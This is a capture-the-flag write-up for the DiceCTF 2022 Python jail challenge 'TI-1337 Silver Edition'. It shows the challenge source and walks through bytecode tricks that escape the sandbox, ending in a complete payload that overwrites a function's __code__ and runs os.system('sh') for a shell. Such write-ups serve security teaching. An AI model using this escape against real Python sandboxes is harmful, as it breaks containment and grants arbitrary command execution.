[DiceCTF 2022] TI-1337 Silver Edition
This post originally appeared on the organizers blog, feel free to read it there. It is presented here as a form of archival and to collect all my posts in one place.
Points: 299 (13 solves)
Challenge Author: kmh
Back in the day the silver edition was the top of the line Texas Instruments calculator, but now the security is looking a little obsolete. Can you break it?
#!/usr/bin/env python3
import dis
import sys
banned = ["MAKE_FUNCTION", "CALL_FUNCTION", "CALL_FUNCTION_KW", "CALL_FUNCTION_EX"]
used_gift = False
def gift(target, name, value):
global used_gift
if used_gift: sys.exit(1)
used_gift = True
setattr(target, name, value)
print("Welcome to the TI-1337 Silver Edition. Enter your calculations below:")
math = input("> ")
if len(math) > 1337:
print("Nobody needs that much math!")
sys.exit(1)
code = compile(math, "<math>", "exec")
bytecode = list(code.co_code)
instructions = list(dis.get_instructions(code))
for i, inst in enumerate(instructions):
if inst.is_jump_target:
print("Math doesn't need control flow!")
sys.exit(1)
nextoffset = instructions[i+1].offset if i+1 < len(instructions) else len(bytecode)
if inst.opname in banned:
bytecode[inst.offset:instructions[i+1].offset] = [-1]*(instructions[i+1].offset-inst.offset)
names = list(code.co_names)
for i, name in enumerate(code.co_names):
if "__" in name: names[i] = "$INVALID$"
code = code.replace(co_code=bytes(b for b in bytecode if b >= 0), co_names=tuple(names), co_stacksize=2**20)
v = {}
exec(code, {"__builtins__": {"gift": gift}}, v)
if v: print("\n".join(f"{name} = {val}" for name, val in v.items()))
else: print("No results stored.")
A high horse level
overview
Let’s have a look at the restrictions on our payload:
- We can perform a single call to the function
gift
which simply delegates tosetattr
- length < 1337, that seems fairly generous
- No control flow, at all, if
dis
thinks we’re jumping somewhere, it kills us - No making any functions or calling them; observe that the instruction is stripped, rather than the entire payload being killed
- Anything that smells like a dunder method is renamed to be
$INVALID$
instead - No builtins, only the gift
- Whatever we assign to will be printed upon exit
Looking a
gift
horse function into the mouth
One of the very first observations we can make: we have a function we can call, except… we shouldn’t be able to call any functions at all. Curious.
Let’s have a scroll through (the documentation for1)
the most useful resource for this challenge: the dis
module. Maybe we can even perform a search for CALL
.
And behold, there appears an instruction that isn’t blocked, but that
appears useful: CALL_METHOD
.
This opcode is designed to be used with
LOAD_METHOD
So then how can we get LOAD_METHOD
to be executed? A
method is loaded when we try to call something that looks like a method:
a dotted name. So if we can get a call to something like
x.y()
, that should give us a function call we so sorely
need. If only we had something to assign attributes too… Oh, we have
gift
, you say? Indeed, simply assigning to
gift.gift = gift
allows us to call
gift.gift(target, name, value)
.
With that out of the way, let’s see what we can try to
setattr
.
Swapping horses code
midstream
Given that we have no access to special methods and variables at all
currently, it would make sense to target one of those with our one call
to setattr
. We could try to overwrite
gift.__globals__
in order to get more calls to
gift
, but unfortunately, that’s a readonly attribute.
Looking through every attribute that’s available on this so-called
gift, we notice that gift.__builtins__
refers to the
original builtins. If we could somehow hijack control of gift’s
execution, or access that attribute; we could gain back control and
quickly escalate to shell. The question remains, how can we achieve
that.
And that question is answered only a few entries later in
dir(gift)
: gift.__code__
is writable. If we
could somehow construct and a handle to a code object that does what we
tell it to do, we could have it run with access to the real builtins,
and stand triumphant with this dead calculator at our feet.
My kingdom for a
horse code object
How does one generally go about creating code objects? Obviously there’s the constructor, but given that we can’t get access to that type to call it, that’s out of the question. Code objects, interestingly also get created when we try to make a function.
Now you might start interrupting and say something like “but we
can’t make functions, and even if we could, we can’t access a function’s
__code__
”, which is of course very true, but also
entirely besides the question. All we need is the code object on the
execution stack.
Let’s have a look at what instructions get executed when we try to create a function:
>>> import dis
>>> dis.dis(compile("""def x(): pass""", "", "exec"))
1 0 LOAD_CONST 0 (<code object x at 0x7fb5838856e0, file "", line 1>)
2 LOAD_CONST 1 ('x')
4 MAKE_FUNCTION 0
6 STORE_NAME 0 (x)
8 LOAD_CONST 2 (None)
10 RETURN_VALUE
Disassembly of <code object x at 0x7fb5838856e0, file "", line 1>:
1 0 LOAD_CONST 0 (None)
2 RETURN_VALUE
Now just imagine that MAKE_FUNCTION
gone, and we’re left
with an interesting value on the stack. Similarly, when we try to do
this with a lambda:
>>> dis.dis(compile("""x = lambda: 0""", "", "exec"))
1 0 LOAD_CONST 0 (<code object <lambda> at 0x7fb5838858f0, file "", line 1>)
2 LOAD_CONST 1 ('<lambda>')
4 MAKE_FUNCTION 0
6 STORE_NAME 0 (x)
8 LOAD_CONST 2 (None)
10 RETURN_VALUE
Disassembly of <code object <lambda> at 0x7fb5838858f0, file "", line 1>:
1 0 LOAD_CONST 1 (0)
2 RETURN_VALUE
Imagine the MAKE_FUNCTION
gone again, and we’d almost
even directly assign this code object to a variable we could reference.
Only that pesky name is in the way, grrrr.
Now it comes to massaging the stack a bit and actually getting our
hands on the code object. The intended solution here becomes fairly
tricky and combines EXTENDED_ARG
(used for the number of
arguments to a function) with BUILD_MAP
to read past the
stack, but we shall take a simpler route here.
After experimenting with tuple unpacking,2 we observe that the following code is fairly interesting:
>>> dis.dis(compile("""x = (y, z)""", "", "exec"))
1 0 LOAD_NAME 0 (y)
2 LOAD_NAME 1 (z)
4 BUILD_TUPLE 2
6 STORE_NAME 2 (x)
8 LOAD_CONST 0 (None)
10 RETURN_VALUE
More specifically, BUILD_TUPLE(2)
takes the topmost 2
elements from the stack, and puts them into a tuple. If we now would
happen to have not z
, but "<lambda>"
and
a code object on the stack, poor y
would get ignored, and
we’d get a way more interesting tuple instead:
>>> dis.dis(compile("""x = (0, lambda: None)""", "", "exec"))
1 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (<code object <lambda> at 0x7fb5838858f0, file "", line 1>)
4 LOAD_CONST 2 ('<lambda>')
6 MAKE_FUNCTION 0
8 BUILD_TUPLE 2
10 STORE_NAME 0 (x)
12 LOAD_CONST 3 (None)
14 RETURN_VALUE
Disassembly of <code object <lambda> at 0x7fb5838858f0, file "", line 1>:
1 0 LOAD_CONST 0 (None)
2 RETURN_VALUE
Simply access this tuple at index 0, and we have reached our destination.
Flagging a dead horse
It’s only a matter of putting everything together from here on out. We want to:
- Create a code object that gives us a shell
- Assign it to
gift.__code__
by callinggift
- Call the all new and improved
gift
again to get our sweet shell
So, let’s do exactly that.
# step 1
c = (0, lambda: __import__('os').system('sh'))[0]
# step 2
gift.x = gift
gift.x(gift, "__code__", c)
# step 3
gift.x()
One more interesting fact here is that we can use the
__import__
name without problem, since the code object is a
constant, and not strictly part of the instructions/names of the code
object being cleaned by the jail.
dice{i_sh0uldve_upgr4ded_to_th3_color_edit10n}
I generally like pyjail escapes, and this one was definitely no exception. It probably was one of the most fun ones I’ve done in a while, so thanks for that, kmh :)